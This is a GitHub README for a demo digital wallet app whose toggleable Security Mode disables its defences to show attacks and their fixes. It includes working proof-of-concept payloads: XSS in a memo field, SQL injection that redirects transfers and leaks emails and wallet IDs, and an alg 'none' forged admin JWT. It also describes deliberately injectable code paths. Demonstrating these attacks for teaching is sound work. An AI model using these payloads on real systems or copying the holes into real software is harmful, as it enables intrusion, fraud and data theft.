Skip to content

royaliceblue/DigitalWallet

 
 

Repository files navigation

Getting Started

To start, simply run

docker compose up --build -d

Open Docker Desktop to look at the individual containers and click on their links to access their services.

Credentials to each services are in the docker-compose.yml file.

Services (defaults)

Keycloak: Users and Roles

Use these steps to create test users and exercise RBAC.

  1. Open Keycloak Admin Console: http://localhost:8080 → login as admin / admin.
  2. Select realm wallet-realm from the top-left dropdown (not master).

Default customer role

  • The realm is configured so newly registered users get the customer realm role by default.
  • This lets users signing up from the login/registration screen access the Wallets tab immediately.

Create a customer (two options)

  • From the app login page → Register → fill details.
  • Or Admin Console → Users → Add user → set Username and Email → Create → Credentials → Set Password (uncheck Temporary) → Save.

Create a merchant

  • Admin Console → Users → Add user → Credentials set (Temp password OFF).
  • Role mapping → Assign role → Filter by realm roles → select realm role merchant → Assign.

Create an admin

  • Admin Console → Users → Add user → Credentials set (Temp password OFF).
  • Role mapping → Assign role → Filter by realm roles → select realm role admin → Assign.

Create an External Auditor

  • Admin Console -> Users -> Add user -> Credentials set (Temp password OFF).
  • Role mapping -> Assign role -> Filter by realm roles -> select realm role External Auditor -> Assign.

Notes on roles and UI

  • The application recognises realm roles in priority order: External Auditor > admin > merchant > customer, but retains all granted roles for access checks.
  • Security mode toggling remains restricted to the admin role; External Auditors only receive read access.
  • On first visit to the Wallets tab, customer/merchant/admin accounts trigger /bootstrap to align wallet type and credit a one-time SGD 100 initial top-up. External Auditor accounts remain read-only, and their profile is tagged with the External Auditor wallet type for visibility.

Bootstrap (first login per user)

  • When Wallets opens, the app calls POST /bootstrap to:
    • Upsert the user in Postgres (merge by email) and ensure a wallet exists.
    • Persist the user’s effective role for the Admin dashboard.
    • Align wallet type with the role (admin > merchant > customer).

Manual bootstrap (optional)

curl.exe -s -H "Authorization: Bearer $TOKEN" -X POST http://localhost:8000/bootstrap

Quick verification

Customer

  • Login as a customer → Wallets shows “Welcome …”, “My Wallets” (SGD 100) and Transaction History.
  • Send tab is visible to transfer funds to another wallet UUID.

Merchant

  • Login as a merchant → Wallet type shows MERCHANT; Merchant tab shows total customers and total incoming.

Admin

  • Login as an admin -> Admin tab shows aggregate totals, but wallet IDs and balances are blurred. Admins can toggle security mode in the navbar.

External Auditor

  • Login as an External Auditor -> Admin tab displays the full Accounts Overview with wallet identifiers and balances.

API spot checks (PowerShell)

$KC = "http://localhost:8080"
$REALM = "wallet-realm"
$CID = "wallet-backend"
$CSECRET = "backend-secret"

# Get a token for a user (replace username/password)
$TOKEN = (Invoke-RestMethod -Method Post -Uri "$KC/realms/$REALM/protocol/openid-connect/token" -Body @{
  grant_type='password';client_id=$CID;client_secret=$CSECRET;username='cust1';password='cust1pass'
}).access_token

Invoke-RestMethod -Headers @{Authorization="Bearer $TOKEN"} -Uri "http://localhost:8000/me"

curl.exe -s -H "Authorization: Bearer $TOKEN" -X POST http://localhost:8000/bootstrap

Invoke-RestMethod -Headers @{Authorization="Bearer $TOKEN"} -Uri "http://localhost:8000/wallets"

Resetting the stack (fresh start)

This fully resets Postgres and Keycloak volumes. You will need to recreate users.

docker compose down -v            # stop and remove containers + named volumes
docker compose up --build -d      # start fresh; Keycloak auto-imports wallet-realm

After it starts:

  • Recreate users in Keycloak (or register from the app).
  • Log into the app once per user and open Wallets to run bootstrap.

Security Mode (Demo Toggle)

Security Mode is a runtime feature flag that switches core defenses on or off to demonstrate attacks and mitigations.

  • Backend state and API
    • State is managed in backend/app/security_mode.py and exposed at GET /security-mode and PUT /security-mode.
    • Reading the flag requires authentication; updating requires the admin role.
  • Frontend UI
    • The navbar shows SECURITY ON/OFF. Admins see an Enable/Disable button.
    • The Send page displays a banner reflecting the current mode and adds a memo preview area for the XSS demo.

Default and Environment Variables

  • SECURITY_MODE (default: true) initial state at startup.
  • KEYCLOAK_AUDIENCE (e.g. account,wallet-frontend) accepted audiences/clients for tokens.
  • KEYCLOAK_ALLOWED_ISSUERS optional comma-separated list of accepted issuers to handle container/localhost differences.

Toggling

UI (admin): click SECURITY Enable/Disable in the navbar.

API examples (PowerShell):

$TOKEN = '<admin-access-token>'
Invoke-RestMethod -Headers @{ Authorization = "Bearer $TOKEN" } \
  -Uri http://localhost:8000/security-mode

Invoke-RestMethod -Method Put -Headers @{ Authorization = "Bearer $TOKEN" } \
  -ContentType 'application/json' \
  -Body '{"enabled": false}' \
  -Uri http://localhost:8000/security-mode

Behavior Summary

  • OFF (for demos)
    • JWT verification: signature is not validated; claims are accepted as-is.
    • Dst Wallet UUID: wallet lookups use raw string SQL (intentionally injectable); currency check relaxed; memo returned unescaped.
    • Memo: Script execution in the user’s browser via memo field in the Send form; returns memo unchanged as HTML; Send page renders with dangerouslySetInnerHTML
  • ON (defended)
    • JWT: RS/ES signature verification via JWKS; issuer and audience enforced.
    • Dst Wallet UUID: UUID validation + parameterized queries; currency must match; memo escaped.
    • Memo: Conditional escape controlled by secure_mode and escape memo server-side

Demo: Proof-of-Concept Payloads (Security Mode OFF)

  1. XSS via Send memo (renders immediately on Send page):
<img src=x onerror="alert('wallet demo')">
  1. SQLi to redirect transfer (forces destination to an arbitrary wallet):
abc' UNION SELECT id, currency FROM wallet WHERE 1=1 --
  1. SQLi to exfiltrate data via error message (emails):
abc' UNION SELECT (string_agg(u.id::text || ':' || u.email, ', '))::uuid, 'SGD' FROM app_user u --
  1. SQLi to list wallet IDs via error message:
abc' UNION SELECT (string_agg(w.id::text, ', '))::uuid, 'SGD' FROM wallet w --
  1. Forged JWT (privilege escalation when OFF):
  • Construct alg “none” token with admin role:
header:  {"alg":"none","typ":"JWT"}
payload: {"sub":"11111111-1111-1111-1111-111111111111","preferred_username":"evil","realm_access":{"roles":["admin"]}}
token:   base64url(header).base64url(payload).

Use as Authorization: Bearer <token> to access admin endpoints during the demo.

/admin/ping
/admin/dashboard

Notes

  • Re-enable Security Mode when finished to restore defenses.
  • The API helper in the frontend surfaces database error details to make exfiltration demos visible in the UI error panel.
  • All of these payloads are intentionally effective only with Security Mode OFF; in ON mode they are blocked by validation and parameterized queries.

Troubleshooting

  1. Start Docker Desktop + Linux engine

Open Docker Desktop from Start menu.

Wait until it shows Engine running (green).

In the tray icon menu, ensure you’re on Linux containers (if you see “Switch to Windows containers…”, you’re already on Linux; if you see “Switch to Linux containers…”, click it).

  1. Make sure WSL2 is enabled (Docker’s Linux backend)

Run PowerShell as Administrator:

## Enable required Windows features (safe to re-run)

dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart
dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart


## Set WSL2 as default

wsl --set-default-version 2

Reboot if Windows asks.

Then check that Docker’s internal WSL distros exist:

wsl -l -v

You should see docker-desktop and docker-desktop-data listed and on Version 2.

If they’re missing:

Launch Docker Desktop again (it will create them), or

Run wsl --install (will install a default Ubuntu; still fine for Docker).

  1. Ensure the Docker service is actually running
Get-Service com.docker.service
# If not Running:
Start-Service com.docker.service
  1. Sanity checks
docker version          # both Client and Server sections should show up
docker context ls       # ensure you're on the 'default' context
docker run hello-world  # test pulling/running a Linux image
  1. Run your stack

From the project folder (where docker-compose.yml lives):

docker compose up --build -d

About

No description, website, or topics provided.

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages

  • HTML 66.5%
  • Python 13.3%
  • TypeScript 9.4%
  • PLpgSQL 7.2%
  • PowerShell 2.7%
  • Dockerfile 0.3%
  • Other 0.6%